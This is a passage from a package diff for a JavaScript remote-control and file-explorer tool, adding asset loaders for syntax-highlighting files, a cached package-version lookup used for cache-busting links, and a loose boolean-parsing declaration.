return fs.readFileSync(p);
|
|
129
|
+
}
|
|
130
|
+
}
|
|
131
|
+
catch {
|
|
132
|
+
continue;
|
|
133
|
+
}
|
|
134
|
+
}
|
|
135
|
+
throw new Error(`codicon asset missing: ${base} (run npm run build — copy assets/codicons)`);
|
|
136
|
+
}
|
|
137
|
+
const _explorerHighlightNames = new Set([
|
|
138
|
+
"highlight.min.js",
|
|
139
|
+
"explorer-highlight.css",
|
|
140
|
+
]);
|
|
141
|
+
/**
|
|
142
|
+
* highlight.js bundle + Dark+–style CSS for file-explorer text preview
|
|
143
|
+
* (`GET /forge-explorer-highlight/*`).
|
|
144
|
+
*/
|
|
145
|
+
function readExplorerHighlightAsset(name) {
|
|
146
|
+
const base = path.basename(name);
|
|
147
|
+
if (!_explorerHighlightNames.has(base)) {
|
|
148
|
+
throw new Error(`invalid explorer highlight asset: ${base}`);
|
|
149
|
+
}
|
|
150
|
+
const candidates = [
|
|
151
|
+
path.join(__dirname, "assets", "explorer-highlight", base),
|
|
152
|
+
path.join(__dirname, "..", "assets", "explorer-highlight", base),
|
|
153
|
+
];
|
|
154
|
+
for (const p of candidates) {
|
|
155
|
+
try {
|
|
156
|
+
if (fs.existsSync(p)) {
|
|
157
|
+
return fs.readFileSync(p);
|
|
158
|
+
}
|
|
159
|
+
}
|
|
160
|
+
catch {
|
|
161
|
+
continue;
|
|
162
|
+
}
|
|
163
|
+
}
|
|
164
|
+
throw new Error(`explorer-highlight asset missing: ${base} (run npm run build — copy assets/explorer-highlight)`);
|
|
165
|
+
}
|
|
110
166
|
function htmlEscapeAttr(s) {
|
|
111
167
|
return s
|
|
112
168
|
.replace(/&/g, "&")
|
|
@@ -114,6 +170,29 @@ function htmlEscapeAttr(s) {
|
|
|
114
170
|
.replace(/</g, "<")
|
|
115
171
|
.replace(/>/g, ">");
|
|
116
172
|
}
|
|
173
|
+
let _forgeJsPkgVersion = null;
|
|
174
|
+
function forgeJsPackageVersion() {
|
|
175
|
+
if (_forgeJsPkgVersion !== null)
|
|
176
|
+
return _forgeJsPkgVersion;
|
|
177
|
+
const candidates = [
|
|
178
|
+
path.join(__dirname, "..", "package.json"),
|
|
179
|
+
path.join(__dirname, "..", "..", "package.json"),
|
|
180
|
+
];
|
|
181
|
+
for (const p of candidates) {
|
|
182
|
+
try {
|
|
183
|
+
if (fs.existsSync(p)) {
|
|
184
|
+
const j = JSON.parse(fs.readFileSync(p, "utf8"));
|
|
185
|
+
_forgeJsPkgVersion = String(j.version || "0").trim() || "0";
|
|
186
|
+
return _forgeJsPkgVersion;
|
|
187
|
+
}
|
|
188
|
+
}
|
|
189
|
+
catch {
|
|
190
|
+
continue;
|
|
191
|
+
}
|
|
192
|
+
}
|
|
193
|
+
_forgeJsPkgVersion = "0";
|
|
194
|
+
return _forgeJsPkgVersion;
|
|
195
|
+
}
|
|
117
196
|
function buildFilesExplorerHtml(opts = {}) {
|
|
118
197
|
const pwd = opts.defaultPassword ??
|
|
119
198
|
process.env.CFGMGR_SESSION_PASSWORD ??
|
|
@@ -125,10 +204,13 @@ function buildFilesExplorerHtml(opts = {}) {
|
|
|
125
204
|
if (!relay && !(0, deploymentDefaults_1.deploymentDefaultsDisabled)()) {
|
|
126
205
|
relay = (0, deploymentDefaults_1.defaultRelayWsUrl)();
|
|
127
206
|
}
|
|
207
|
+
const ver = encodeURIComponent(forgeJsPackageVersion());
|
|
128
208
|
return loadTemplate()
|
|
129
209
|
.replace(/@@PWD_HINT@@/g, htmlEscapeAttr(pwd))
|
|
130
|
-
.replace(
|
|
131
|
-
.replace(
|
|
210
|
+
.replace(/__FORGE_REPLACE_RELAY_FALLBACK_JS__/g, JSON.stringify(relay))
|
|
211
|
+
.replace(/__FORGE_REPLACE_PWD_JS__/g, JSON.stringify(pwd))
|
|
212
|
+
.replace('href="/forge-explorer-codicons/codicon.css"', `href="/forge-explorer-codicons/codicon.css?v=${ver}"`)
|
|
213
|
+
.replace('href="/forge-explorer-highlight/explorer-highlight.css"', `href="/forge-explorer-highlight/explorer-highlight.css?v=${ver}"`);
|
|
132
214
|
}
|
|
133
215
|
function buildRemoteControlHtml(opts = {}) {
|
|
134
216
|
const pwd = opts.defaultPassword ??
|
|
@@ -143,6 +225,6 @@ function buildRemoteControlHtml(opts = {}) {
|
|
|
143
225
|
}
|
|
144
226
|
return loadRemoteTemplate()
|
|
145
227
|
.replace(/@@PWD_HINT@@/g, htmlEscapeAttr(pwd))
|
|
146
|
-
.replace(
|
|
147
|
-
.replace(
|
|
228
|
+
.replace(/__FORGE_REPLACE_RELAY_FALLBACK_JS__/g, JSON.stringify(relay))
|
|
229
|
+
.replace(/__FORGE_REPLACE_PWD_JS__/g, JSON.stringify(pwd));
|
|
148
230
|
}
|
package/dist/fsMessages.d.ts
CHANGED
|
@@ -1 +1,3 @@
|
|
|
1
|
+
/** Treat WS JSON flags safely — `Boolean("false")` is true in JS; some proxies stringify booleans. */
|
|
2
|
+
export declare function jsonBoolLoose(v: unknown): boolean;
|
|
1
3
|
export declare function buildFsResponse(msg: Record<string, unknown>, allowFilesystem: boolean): Promise<Record<string, unknown>>;
|